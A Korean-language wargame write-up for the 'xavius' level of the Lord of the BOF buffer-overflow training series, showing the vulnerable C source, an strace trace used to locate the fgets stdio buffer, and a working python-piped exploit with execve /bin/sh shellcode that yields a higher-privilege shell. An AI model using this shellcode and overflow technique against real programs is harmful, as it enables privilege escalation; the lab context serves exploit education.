(LOB)level19.nightmare

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

main()

{

char buffer[40];

char *ret_addr;

// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);

if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }

// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++; 

}

        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}

소스를 보고 뭘 어떻게해야하지 생각했는데  fgets에 뭔가 있겟다 싶어서 strace로 syscall을 추적해보았다

<c.f) strace >

http://www.joinc.co.kr/modules/moniwiki/wiki.php/man/1/strace

[nightmare@localhost /tmp]$ strace ./xavius 

execve("./xavius", ["./xavius"], [/* 24 vars */]) = 0

brk(0)                                  = 0x8049a58

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

close(3)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 3

fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

mprotect(0x40105000, 30812, PROT_NONE)  = 0

old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

close(3)                                = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

munmap(0x40015000, 12210)               = 0

personality(PER_LINUX)                  = 0

getpid()                                = 762

fstat64(0, 0xbffff964)                  = -1 ENOSYS (Function not implemented)

fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0

read(0, 

"\n", 1024)                     = 1

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000

ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

write(1, "\n", 1

)                       = 1

write(1, "\n", 1

)                       = 1

munmap(0x40016000, 4096)                = 0

_exit(-1073746168)                      = ?

[nightmare@localhost /tmp]$ 

0x40015000에서 뭔가하는걸 알수 있엇다  풀고나서 찾아보니까 fgets가 사용하는 특수 버퍼라 한다 .. 

[payload]

\x90 [10] | shellcode[24] | \x90[10 ] | RET(0x4001501) |

+)\x00이 들어가면 null 로 인식하기 때문에 NOP로 감싸주고 \x01로 넣어주었다 

[attack]

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*10+"\x01\x50\x01\x40"';cat) | ./xavius

??????????1픐h//shh/bin??S??

                              것€??????????P@

my-pass

euid = 519

throw me away

성공